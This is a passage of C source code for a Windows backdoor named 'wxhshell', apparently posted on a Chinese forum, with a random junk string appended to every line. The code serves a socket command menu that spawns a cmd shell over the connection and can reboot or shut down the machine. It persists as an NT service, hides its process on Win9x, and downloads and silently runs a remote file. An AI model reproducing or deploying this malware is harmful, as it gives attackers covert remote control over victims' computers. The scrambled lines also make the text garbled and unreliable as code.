  } gzN51B=D  
  else { _7'5IA  
 upGLZ#  
    switch(cmd[0]) { _IWLC{%V  
  xcH&B %;f  
  // 帮助 9A *gW j  
  case '?': { ]D,\(|  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); -L!lJ  
    break; x kdC -S  
  } d-T pY*v  
  // 安装 (QQkXlJ  
  case 'i': { 6i%X f i  
    if(Install()) i ;^Ya  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Pk;YM}  
    else od^ylg>K  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); w[AL'1s]  
    break; ]88qjKL  
    } 0B: v0 R  
  // 卸载 KtHkLYOCG  
  case 'r': { ]`M2Kwp  
    if(Uninstall()) ygQe'S{!S\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -,2CMS#N  
    else .aR9ulS  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /y(0GP4A  
    break; q}W})  
    } )W&{OMr  
  // 显示 wxhshell 所在路径 W:K '2j  
  case 'p': { I+ Y{_yw"f  
    char svExeFile[MAX_PATH]; BAtjYPX'w  
    strcpy(svExeFile,"\n\r"); jwP5pu  
      strcat(svExeFile,ExeFile); 3cF8DNh  
        send(wsh,svExeFile,strlen(svExeFile),0); /*MioaQB}p  
    break; 5GGO:  
    } 1x%B`d  
  // 重启 UqNUX?(  
  case 'b': { n}c~+ 0`un  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); bAwKmk9C  
    if(Boot(REBOOT)) L @Q+HN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }Eh &'  
    else { O&,8X-Ix  
    closesocket(wsh); JfmYr47Pv  
    ExitThread(0); W2'!Pc,W  
    } Fm*npK  
    break; x,ZF+vE  
    } w^U{e xo  
  // 关机 m"QDc[^Ge  
  case 'd': { -+0kay%  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); m=SI *V  
    if(Boot(SHUTDOWN)) 7VL|\^Y`q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E;[Uhh|78!  
    else { A0:rn\$l3  
    closesocket(wsh); fH$#vRcq  
    ExitThread(0); 9Vo*AK'&U  
    } dqs~K7O^E  
    break; ESYF4-d+  
    } PcqS#!t  
  // 获取shell eTuKu(0 E  
  case 's': { [FLR&=.(  
    CmdShell(wsh); I Zw  
    closesocket(wsh); :q?#$?  
    ExitThread(0); e .~11bx  
    break; ncMzHw  
  } w)`XM  
  // 退出 @\o"zU  
  case 'x': { I2Imb9k~B  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); iaLZ|\`3a  
    CloseIt(wsh); PjH'5Y  
    break; 8g Z)c\  
    } @5ud{"|2  
  // 离开 2`TV(U@  
  case 'q': { c+ e~BN  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Ka_;~LS>(  
    closesocket(wsh); Fk^N7EJ:$  
    WSACleanup(); *UJ4\  
    exit(1); }>d  
    break; }}i'8  
        } {M5t)-  
  }  *} ?  
  } n,2   
_TGs .t  
  // 提示信息 *3r s+0  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ft$RF  
} |`t 6lVO,Z  
  } 5doi4b>]!  
{ywwJ  
  return; uYWD.]X;[  
} (zsv!U  
oQObr  
// shell模块句柄 O9ps?{g  
int CmdShell(SOCKET sock) 40pz<-B  
{ D>-r `  
STARTUPINFO si; "RN] @p#m  
ZeroMemory(&si,sizeof(si)); 8-Y*b89  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; L!lmy&1  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; P_w4 DU  
PROCESS_INFORMATION ProcessInfo; ".N+nM~  
char cmdline[]="cmd"; p@nj6N.--  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); {:|3V 7X  
  return 0; f:ObI  
} /s} "0/Y\  
f&mi nBU  
// 自身启动模式 1P*hC<  
int StartFromService(void) kDMvTVd  
{ HE%/+mZN  
typedef struct bWAa: r  
{ -1RMyVx  
  DWORD ExitStatus; r9OgezER  
  DWORD PebBaseAddress; JE7m5k Ta  
  DWORD AffinityMask; f?51sr  
  DWORD BasePriority; dGn 0-l'q  
  ULONG UniqueProcessId; 6Eu(C]nC(  
  ULONG InheritedFromUniqueProcessId; PXkpttIE]M  
}   PROCESS_BASIC_INFORMATION; )Wr_*>xj  
!Yv_V]u=  
PROCNTQSIP NtQueryInformationProcess; UaF~[toX  
{MSE}|A\V  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; mXOI"B9Sq  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ]i$0s  
t`+A;%=K]  
  HANDLE             hProcess; 6UuN-7z!"  
  PROCESS_BASIC_INFORMATION pbi; t4[q :[1  
%,_ZVgh0  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); fy4zBI@  
  if(NULL == hInst ) return 0; lz~^*\ F  
%DYh<U4N  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); "(7y% TFt:  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); A*?PH`bY  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); d \l{tmte  
rB$~,q&.V  
  if (!NtQueryInformationProcess) return 0; abQ.N  
G rp{ .  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); C2"^YRN,  
  if(!hProcess) return 0; l|?tqCT ^h  
H3<tsK=:  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; YWl#!"-  
]690ey$E:j  
  CloseHandle(hProcess); Hf?@<4  
uBx\xeI  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); $jg[6`L$  
if(hProcess==NULL) return 0; #Az#_0=  
L)J1yw  
HMODULE hMod; f7~dn#<@  
char procName[255]; 'E3T fM  
unsigned long cbNeeded; 1vj@ qw3  
4d5c ]%  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); aC\f;&P >  
;v@G  
  CloseHandle(hProcess); 9 A ?{}c  
5 ix*wu`,  
if(strstr(procName,"services")) return 1; // 以服务启动 !q\=e@j-i  
S F*C'  
  return 0; // 注册表启动 <v|"eq}  
} 4k<o  
@)6b  
// 主模块 ^EX"fRwNi  
int StartWxhshell(LPSTR lpCmdLine) cZNcplt8  
{ S > ~f.   
  SOCKET wsl; w Wb>V&3  
BOOL val=TRUE; a+cMXMf  
  int port=0; .cHgYHa  
  struct sockaddr_in door; !Ud'(iGa  
l5{60$g  
  if(wscfg.ws_autoins) Install(); UrizZ 5a  
0]|`*f&p;  
port=atoi(lpCmdLine); @F<{/|P  
Wn(!6yid  
if(port<=0) port=wscfg.ws_port; ,SR7DiYg  
dgkS5Q$/  
  WSADATA data; k56Qas+3=  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ?n `m  
?[Lk]A&"L2  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   GpeW<% \P  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); hT X[W%K  
  door.sin_family = AF_INET; Bdt6 w(`^  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); &L+uu',M0c  
  door.sin_port = htons(port); = UH3.  
[ ulub|  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { <bzzbR[F  
closesocket(wsl); lLTqk\8g  
return 1; e c&Y2  
} kL*P 3 0  
+twoUn{#  
  if(listen(wsl,2) == INVALID_SOCKET) { ?7aZU  
closesocket(wsl); DO*U7V02  
return 1; sE% $]Jp  
} Z v@nK%#J  
  Wxhshell(wsl); o%t4WQ|bj  
  WSACleanup(); 5CFNBb%Xy  
U|} ?{x  
return 0; VV$t*9w  
,/{e%J  
} {JgY-#R?{(  
\~ D(ww  
// 以NT服务方式启动 d&j  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ukSv70Ev  
{ Jp=fLo 9  
DWORD   status = 0; xQu|D>kv87  
  DWORD   specificError = 0xfffffff; JI5o~; }m  
y!#-[K:  
  serviceStatus.dwServiceType     = SERVICE_WIN32;  rL{R=0  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; N y'\Q"Y]  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; .T'@P7Hdx  
  serviceStatus.dwWin32ExitCode     = 0; CQ!pt@|d  
  serviceStatus.dwServiceSpecificExitCode = 0; 3PNdc}h&#  
  serviceStatus.dwCheckPoint       = 0; ' P?h?w^T  
  serviceStatus.dwWaitHint       = 0; faQmkO  
!RI _Uph  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); |3'  
  if (hServiceStatusHandle==0) return; 7Z< ~{eD,  
FDz`U:8  
status = GetLastError(); HT;^u"a~  
  if (status!=NO_ERROR) ]3_b3@k  
{ +X=*>^G(-  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Y,}_LS$f  
    serviceStatus.dwCheckPoint       = 0; Jl/wP   
    serviceStatus.dwWaitHint       = 0; WoEK #,I;  
    serviceStatus.dwWin32ExitCode     = status; nq M7Is  
    serviceStatus.dwServiceSpecificExitCode = specificError; yq%5h[M  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); u.GnXuax  
    return; 1r;zA<<%R  
  } *&NP?-E  
w 9dkJo  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; N[e,){v  
  serviceStatus.dwCheckPoint       = 0; yajdRU  
  serviceStatus.dwWaitHint       = 0; dvB=Zk]m  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); \R#SoOd  
} )'djqpM.  
%k!CjW3  
// 处理NT服务事件,比如:启动、停止 a`!Jq'  
VOID WINAPI NTServiceHandler(DWORD fdwControl) "n%s>@$  
{ Oidf\%!mvR  
switch(fdwControl) +hyOc|5  
{ ^m qEKy<  
case SERVICE_CONTROL_STOP: J usU5 e|  
  serviceStatus.dwWin32ExitCode = 0; EwP2,$;  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 'UX.Q7W  
  serviceStatus.dwCheckPoint   = 0; OIcXelS:@k  
  serviceStatus.dwWaitHint     = 0; SI}s  
  { E/zf9\  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ']M/'CcM  
  } cM#rus?)+  
  return; 2e`}O  
case SERVICE_CONTROL_PAUSE: IVR%H_uz  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 23}` e  
  break; jf9+H!?^N  
case SERVICE_CONTROL_CONTINUE: y{ ur'**l  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; en<~_|J  
  break; N,(!   
case SERVICE_CONTROL_INTERROGATE: Xh9QfT,  
  break; zPby+BP  
}; n:5M E*  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4zoQe>v~  
} '2(m%X\6  
HlGSt$woX  
// 标准应用程序主函数 pXk^EV0  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) or]v]*:~l  
{ 7UfNz60+~  
ZVjB$-do  
// 获取操作系统版本 W XQ@kQD  
OsIsNt=GetOsVer(); 7~7L5PRW  
GetModuleFileName(NULL,ExeFile,MAX_PATH); QN:v4,$d  
vF72#BNs  
  // 从命令行安装 kK? SG3  
  if(strpbrk(lpCmdLine,"iI")) Install(); ^tB 1Nu %  
#Bd]M#J17a  
  // 下载执行文件 bZnOX*y]  
if(wscfg.ws_downexe) { 5hrI#fpOR  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) H"A%mrb  
  WinExec(wscfg.ws_filenam,SW_HIDE); MGg(d  
} ]fyfL|(;  
V1aP_G-:  
if(!OsIsNt) { hOj{y2sc  
// 如果时win9x,隐藏进程并且设置为注册表启动 G/_IY;  
HideProc(); z(|^fi(  
StartWxhshell(lpCmdLine); 5ya9VZ5#  
} fkV@3sj  
else gaF6 j!p  
  if(StartFromService()) \@<7Vo,  
  // 以服务方式启动 4EB\R"rWXf  
  StartServiceCtrlDispatcher(DispatchTable); jI-a+LnEm  
else ?.~1%l!  
  // 普通方式启动 &\h7E   
  StartWxhshell(lpCmdLine); \-\>JPO~<  
Ew8@{X y  
return 0; .~]|gg~  
}
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只看该作者 1 发表于: 2006-10-10
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